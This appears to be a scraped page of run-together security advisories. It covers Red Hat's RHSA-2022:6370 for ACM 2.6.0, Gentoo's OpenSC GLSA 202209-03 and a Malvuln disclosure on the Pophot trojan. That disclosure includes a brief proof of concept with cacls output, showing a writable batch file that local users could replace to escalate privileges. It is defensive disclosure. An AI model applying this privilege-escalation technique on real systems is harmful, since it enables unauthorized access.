the Gentoo Security Website:

 https://security.gentoo.org/glsa/202209-04

Concerns?  
=========

Security is a primary focus of Gentoo Linux and ensuring the  
confidentiality and security of our users' machines is of utmost  
importance to us. Any security concerns should be addressed to  
security@gentoo.org or alternatively, you may file a bug at  
https://bugs.gentoo.org.

License  
=======

Copyright 2022 Gentoo Foundation, Inc; referenced text  
belongs to its owner(s).

The contents of this document are licensed under the  
Creative Commons - Attribution / Share Alike license.

https://creativecommons.org/licenses/by-sa/2.5

Gentoo Linux Security Advisory 202209-04

Red Hat Security Advisory 2022-6370-01 - Red Hat Advanced Cluster Management for Kubernetes 2.6.0 images Red Hat Advanced Cluster Management for Kubernetes provides the capabilities to address common challenges that administrators and site reliability engineers face as they work across a range of public and private cloud environments. Clusters and applications are all visible and managed from a single console—with security policy built in. This advisory contains the container images for Red Hat Advanced Cluster Management for Kubernetes, which fix security issues and several bugs. Issues addressed include a denial of service vulnerability.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256

=====================================================================  
                   Red Hat Security Advisory

Synopsis:          Moderate: Red Hat Advanced Cluster Management 2.6.0 security updates and bug fixes  
Advisory ID:       RHSA-2022:6370-01  
Product:           Red Hat ACM  
Advisory URL:      https://access.redhat.com/errata/RHSA-2022:6370  
Issue date:        2022-09-06  
CVE Names:         CVE-2022-1012 CVE-2022-1292 CVE-2022-1586   
                   CVE-2022-1705 CVE-2022-1785 CVE-2022-1897   
                   CVE-2022-1927 CVE-2022-1962 CVE-2022-2068   
                   CVE-2022-2097 CVE-2022-2526 CVE-2022-28131   
                   CVE-2022-29154 CVE-2022-30629 CVE-2022-30630   
                   CVE-2022-30631 CVE-2022-30632 CVE-2022-30633   
                   CVE-2022-30635 CVE-2022-31129 CVE-2022-32148   
                   CVE-2022-32206 CVE-2022-32208 CVE-2022-32250   
=====================================================================

1. Summary:

Red Hat Advanced Cluster Management for Kubernetes 2.6.0 General  
Availability release images, which fix security issues and bugs.

Red Hat Product Security has rated this update as having a security impact  
of Moderate. A Common Vulnerability Scoring System (CVSS) base score,  
which gives a detailed severity rating, is available for each vulnerability  
from the CVE links in the References section.

2. Description:

Red Hat Advanced Cluster Management for Kubernetes 2.6.0 images

Red Hat Advanced Cluster Management for Kubernetes provides the  
capabilities to address common challenges that administrators and site  
reliability engineers face as they work across a range of public and  
private cloud environments. Clusters and applications are all visible and  
managed from a single console—with security policy built in.

This advisory contains the container images for Red Hat Advanced Cluster  
Management for Kubernetes, which fix security issues and several bugs. See  
the following Release Notes documentation, which will be updated shortly  
for this  
release, for additional details about this release:

https://access.redhat.com/documentation/en-us/red_hat_advanced_cluster_management_for_kubernetes/2.6/html/release_notes/

Security fixes: 

* CVE-2022-31129 moment: inefficient parsing algorithm resulting in DoS

* CVE-2022-30629 golang: crypto/tls: session tickets lack random  
ticket_age_add

* CVE-2022-1705 golang: net/http: improper sanitization of  
Transfer-Encoding header

* CVE-2022-1962 golang: go/parser: stack exhaustion in all Parse* functions

* CVE-2022-28131 golang: encoding/xml: stack exhaustion in Decoder.Skip

* CVE-2022-30630 golang: io/fs: stack exhaustion in Glob

* CVE-2022-30631 golang: compress/gzip: stack exhaustion in Reader.Read

* CVE-2022-30632 golang: path/filepath: stack exhaustion in Glob

* CVE-2022-30633 golang: encoding/xml: stack exhaustion in Unmarshal

* CVE-2022-30635 golang: encoding/gob: stack exhaustion in Decoder.Decode

* CVE-2022-32148 golang: net/http/httputil: NewSingleHostReverseProxy -  
omit X-Forwarded-For not working

Bug fixes:

* assisted-service repo pin-latest.py script should allow custom tags to be  
pinned (BZ# 2065661)

* assisted-service-build image is too big in size (BZ# 2066059)

* assisted-service pin-latest.py script should exclude the postgres image  
(BZ# 2076901)

* PXE artifacts need to be served via HTTP (BZ# 2078531)

* Implementing new service-agent protocol on agent side (BZ# 2081281)

* RHACM 2.6.0 images (BZ# 2090906)

* Assisted service POD keeps crashing after a bare metal host is created  
(BZ# 2093503)

* Assisted service triggers the worker nodes re-provisioning on the hub  
cluster when the converged flow is enabled (BZ# 2096106)

* Fix assisted CI jobs that fail for cluster-info readiness (BZ# 2097696)

* Nodes are required to have installation disks of at least 120GB instead  
of at minimum of 100GB (BZ# 2099277)

* The pre-selected search keyword is not readable (BZ# 2107736)

* The value of label expressions in the new placement for policy and  
policysets cannot be shown real-time from UI (BZ# 2111843)

3. Solution:

For Red Hat Advanced Cluster Management for Kubernetes, see the following  
documentation, which will be updated shortly for this release, for  
important  
instructions on installing this release:

https://access.redhat.com/documentation/en-us/red_hat_advanced_cluster_management_for_kubernetes/2.6/html-single/install/index#installing

4. Bugs fixed (https://bugzilla.redhat.com/):

2065661 - assisted-service repo pin-latest.py script should allow custom tags to be pinned  
2066059 - assisted-service-build image is too big in size  
2076901 - assisted-service pin-latest.py script should exclude the postgres image  
2078531 - iPXE artifacts need to be served via HTTP  
2081281 - Implementing new service-agent protocol on agent side  
2090901 - Capital letters in install-config.yaml .platform.baremetal.hosts[].name cause bootkube errors  
2090906 - RHACM 2.6.0 images  
2092793 - CVE-2022-30629 golang: crypto/tls: session tickets lack random ticket_age_add  
2093503 - Assisted service POD keeps crashing after a bare metal host is created  
2096106 - Assisted service triggers the worker nodes re-provisioning on the hub cluster when the converged flow is enabled  
2096445 - Assisted service POD keeps crashing after a bare metal host is created  
2096460 - Spoke BMH stuck "inspecting" when deployed via  the converged workflow  
2097696 - Fix assisted CI jobs that fail for cluster-info readiness  
2099277 - Nodes are required to have installation disks of at least 120GB instead of at minimum of 100GB  
2103703 - Automatic version upgrade triggered for oadp operator installed by cluster-backup-chart  
2104117 - Spoke BMH stuck ?available? after changing a BIOS attribute via the converged workflow  
2104984 - Infrastructure operator missing clusterrole permissions for interacting with mutatingwebhookconfigurations  
2105075 - CVE-2022-31129 moment: inefficient parsing algorithm resulting in DoS  
2105339 - Search Application button on the Application Table for Subscription applications does not Redirect  
2105357 - [UI] hypershift cluster creation error - n[0] is undefined  
2106347 - Submariner error looking up service account submariner-operator/submariner-addon-sa  
2106882 - Security Context Restrictions are restricting creation of some pods which affects the deployment of some applications  
2107049 - The clusterrole for global clusterset did not created by default  
2107065 - governance-policy-framework in CrashLoopBackOff state on spoke cluster: Failed to start manager {"error": "error listening on :8081: listen tcp :8081: bind: address already in use"}  
2107342 - CVE-2022-30631 golang: compress/gzip: stack exhaustion in Reader.Read  
2107370 - Helm Release resource recreation feature does not work with the local cluster  
2107371 - CVE-2022-30630 golang: io/fs: stack exhaustion in Glob  
2107374 - CVE-2022-1705 golang: net/http: improper sanitization of Transfer-Encoding header  
2107376 - CVE-2022-1962 golang: go/parser: stack exhaustion in all Parse* functions  
2107383 - CVE-2022-32148 golang: net/http/httputil: NewSingleHostReverseProxy - omit X-Forwarded-For not working  
2107386 - CVE-2022-30632 golang: path/filepath: stack exhaustion in Glob  
2107388 - CVE-2022-30635 golang: encoding/gob: stack exhaustion in Decoder.Decode  
2107390 - CVE-2022-28131 golang: encoding/xml: stack exhaustion in Decoder.Skip  
2107392 - CVE-2022-30633 golang: encoding/xml: stack exhaustion in Unmarshal  
2108888 - Hypershift on AWS - control plane not running  
2109370 - The button to create the cluster is not visible  
2111203 - Add ocp 4.11 to filters for discovering clusters in ACM 2.6  
2111218 - Create cluster - Infrastructure page crashes  
2111651 - "View application" button on app table for Flux applications redirects to apiVersion=ocp instead of flux  
2111663 - Hosted cluster in Pending import state  
2111671 - Leaked namespaces after deleting hypershift deployment  
2111770 - [ACM 2.6] there is no node info for remote cluster in multiple hubs  
2111843 - The value of label expressions in the new placement for policy and policysets cannot be shown real-time from UI  
2112180 - The policy page is crashed after input keywords in the search box  
2112281 - config-policy-controller pod can't startup in the OCP3.11 managed cluster  
2112318 - Can't delete the objects which are re-created by policy when deleting the policy  
2112321 - BMAC reconcile loop never stops after changes  
2112426 - No cluster discovered due to x509: certificate signed by unknown authority  
2112478 - Value of delayAfterRunSeconds is not shown on the final submit panel and the word itself should not be wrapped.  
2112793 - Can't view details of the policy template when set the spec.pruneObjectBehavior as unsupported value  
2112803 - ClusterServiceVersion for release 2.6 branch references "latest" tag  
2113787 - [ACM 2.6] can not delete namespaces after detaching the hosted cluster  
2113838 - the cluster proxy-agent was deployed on the non-infra nodes  
2113842 - [ACM 2.6] must restart hosting cluster registration pod if update work-manager-addon cr to change installNamespace  
2114982 - Control plane type shows 'Standalone' for hypershift cluster  
2115622 - Hub fromsecret function doesn't work for hosted mode in multiple hub  
2115723 - Can't view details of the policy template for customer and hypershift cluster in hosted mode from UI  
2115993 - Policy automation details panel was not updated after editing the mode back to disabled  
2116211 - Count of violations with unknown status was not accurate when managed clusters have mixed status  
2116329 - cluster-proxy-agent not startup due to the imagepullbackoff on spoke cluster  
2117113 - The proxy-server-host was not correct in cluster-proxy-agent  
2117187 - pruneObjectBehavior radio selection cannot work well and always switch the first one template in multiple configurationPolicy templates  
2117480 - [ACM 2.6] infra-id of HypershiftDeployment doesn't work  
2118338 - Report the "namespace not found" error after clicked view yaml link of a policy in the multiple hub env  
2119326 - Can't view details of the SecurityContextConstraints policy for managed clusters from UI

5. References:

https://access.redhat.com/security/cve/CVE-2022-1012  
https://access.redhat.com/security/cve/CVE-2022-1292  
https://access.redhat.com/security/cve/CVE-2022-1586  
https://access.redhat.com/security/cve/CVE-2022-1705  
https://access.redhat.com/security/cve/CVE-2022-1785  
https://access.redhat.com/security/cve/CVE-2022-1897  
https://access.redhat.com/security/cve/CVE-2022-1927  
https://access.redhat.com/security/cve/CVE-2022-1962  
https://access.redhat.com/security/cve/CVE-2022-2068  
https://access.redhat.com/security/cve/CVE-2022-2097  
https://access.redhat.com/security/cve/CVE-2022-2526  
https://access.redhat.com/security/cve/CVE-2022-28131  
https://access.redhat.com/security/cve/CVE-2022-29154  
https://access.redhat.com/security/cve/CVE-2022-30629  
https://access.redhat.com/security/cve/CVE-2022-30630  
https://access.redhat.com/security/cve/CVE-2022-30631  
https://access.redhat.com/security/cve/CVE-2022-30632  
https://access.redhat.com/security/cve/CVE-2022-30633  
https://access.redhat.com/security/cve/CVE-2022-30635  
https://access.redhat.com/security/cve/CVE-2022-31129  
https://access.redhat.com/security/cve/CVE-2022-32148  
https://access.redhat.com/security/cve/CVE-2022-32206  
https://access.redhat.com/security/cve/CVE-2022-32208  
https://access.redhat.com/security/cve/CVE-2022-32250  
https://access.redhat.com/security/updates/classification/#moderate

6. Contact:

The Red Hat security contact is <secalert@redhat.com>. More contact  
details at https://access.redhat.com/security/team/contact/

Copyright 2022 Red Hat, Inc.  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1

iQIVAwUBYxgd1NzjgjWX9erEAQhthxAAmNte0BmIACFV4tQqEOGBPpisyXhXsYni  
VvfuP/d5depm8nivue9FQ+RDZt31mzGhqstV5sSsNw9ep2MdvS8DVaVnBqTnFHGN  
EHNhvcDu2GUIXpXasPSeimyMjh7Q1wXFwpBXMtFI+V71WfV4ipkpkqWnENQ/oRJG  
Ga6PzNcIjgrllPzBpKiO+APFPDzz6oW1HQSSNoqocVuwd4B341kPbwoN7fvZxe4r  
fvLioHsM2sWNi+40Oy5UtyDK8A2njEA13i/95K/NMBNK7Hl0l8Rbf4846cUps+LB  
gWJqYvrnsi43D03mOZ8usMYYtQcq8SV4KGsQU3xccCKcy2hncasXZ4Q+uLyQl0fg  
keAVml/3A5r4JqHL1VIwCTbRveaP4+W57uo5hakfof8wU0TgHYQUkkOGVlx9loyc  
49wL1ooIMU4wI3ClkEKQ38PYMPsnCwCVf8mmaxVhr+WjMRxyOGhY868JfNfg0tmv  
IbP1KwTlKBM4ehEXzw0wk3F/ile+Gk1wtGp9k0HzoNGdck/PDItI61X9sMTTxSxI  
DM+0e5yRgGamfa47s+Td2XaM3Ib1jYZYkzHzaalxwUyNse3iOVcH5qvN//Ifhxdw  
3ONkXcsMan6kG3sJhgpO7FwXoMpJv0HmFS67fz0i/wBdXfhK5gStjmb/3DDMDrmx  
PF7ifQXx4qw=  
=XsDv  
-----END PGP SIGNATURE-----  
--  
RHSA-announce mailing list  
RHSA-announce@redhat.com  
https://listman.redhat.com/mailman/listinfo/rhsa-announce

Red Hat Security Advisory 2022-6370-01

Gentoo Linux Security Advisory 202209-3 - Multiple vulnerabilities have been discovered in OpenSC, the worst of which could result in the execution of arbitrary code. Versions less than 0.22.0 are affected.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
Gentoo Linux Security Advisory                           GLSA 202209-03  
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
                                           https://security.gentoo.org/  
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

 Severity: Normal  
    Title: OpenSC: Multiple Vulnerabilities  
     Date: September 07, 2022  
     Bugs: #839357  
       ID: 202209-03

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis  
========

Multiple vulnerabilities have been discovered in OpenSC, the worst of  
which could result in the execution of arbitrary code.

Background  
==========

OpenSC contains tools and libraries for smart cards.

Affected packages  
=================

    -------------------------------------------------------------------  
     Package              /     Vulnerable     /            Unaffected  
    -------------------------------------------------------------------  
  1  dev-libs/opensc            < 0.22.0                    >= 0.22.0

Description  
===========

Multiple vulnerabilities have been discovered in OpenSC. Please review  
the CVE identifiers referenced below for details.

Impact  
======

Please review the referenced CVE identifiers for details.

Workaround  
==========

There is no known workaround at this time.

Resolution  
==========

All OpenSC users should upgrade to the latest version:

  # emerge --sync  
  # emerge --ask --oneshot --verbose ">=dev-libs/opensc-0.22.0"

References  
==========

[ 1 ] CVE-2021-42778  
      https://nvd.nist.gov/vuln/detail/CVE-2021-42778  
[ 2 ] CVE-2021-42779  
      https://nvd.nist.gov/vuln/detail/CVE-2021-42779  
[ 3 ] CVE-2021-42780  
      https://nvd.nist.gov/vuln/detail/CVE-2021-42780  
[ 4 ] CVE-2021-42781  
      https://nvd.nist.gov/vuln/detail/CVE-2021-42781  
[ 5 ] CVE-2021-42782  
      https://nvd.nist.gov/vuln/detail/CVE-2021-42782

Availability  
============

This GLSA and any updates to it are available for viewing at  
the Gentoo Security Website:

 https://security.gentoo.org/glsa/202209-03

Concerns?  
=========

Security is a primary focus of Gentoo Linux and ensuring the  
confidentiality and security of our users' machines is of utmost  
importance to us. Any security concerns should be addressed to  
security@gentoo.org or alternatively, you may file a bug at  
https://bugs.gentoo.org.

License  
=======

Copyright 2022 Gentoo Foundation, Inc; referenced text  
belongs to its owner(s).

The contents of this document are licensed under the  
Creative Commons - Attribution / Share Alike license.

https://creativecommons.org/licenses/by-sa/2.5

Gentoo Linux Security Advisory 202209-03

Trojan-Spy.Win32.Pophot.bsl malware suffers from an insecure permissions vulnerability.

    Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022Original source: https://malvuln.com/advisory/8c0e6ec6b8ac9eb1169e63df71f24456.txtContact: malvuln13@gmail.comMedia: twitter.com/malvulnThreat: Trojan-Spy.Win32.Pophot.bslVulnerability: Insecure PermissionsDescription: The malware writes a BATCH file ".bat" to c drive granting change (C) permissions to the authenticated user group. Standard users can rename the file dropped by the malware to disable it or replace it with their own executable. Then wait for a privileged user to logon to the infected machine to potentially escalate privileges. Family: PophotType: PE32MD5: 8c0e6ec6b8ac9eb1169e63df71f24456Vuln ID: MVID-2022-0635Disclosure: 09/06/2022 Exploit/PoC:C:\>type zhqbdf.bat"C:\WINDOWS\system\zhqbs080722.exe" idel %0C:\>cacls zhqbdf.batC:\zhqbdf.bat BUILTIN\Administrators:(ID)F              NT AUTHORITY\SYSTEM:(ID)F              BUILTIN\Users:(ID)R              NT AUTHORITY\Authenticated Users:(ID)CDisclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Tag

#mac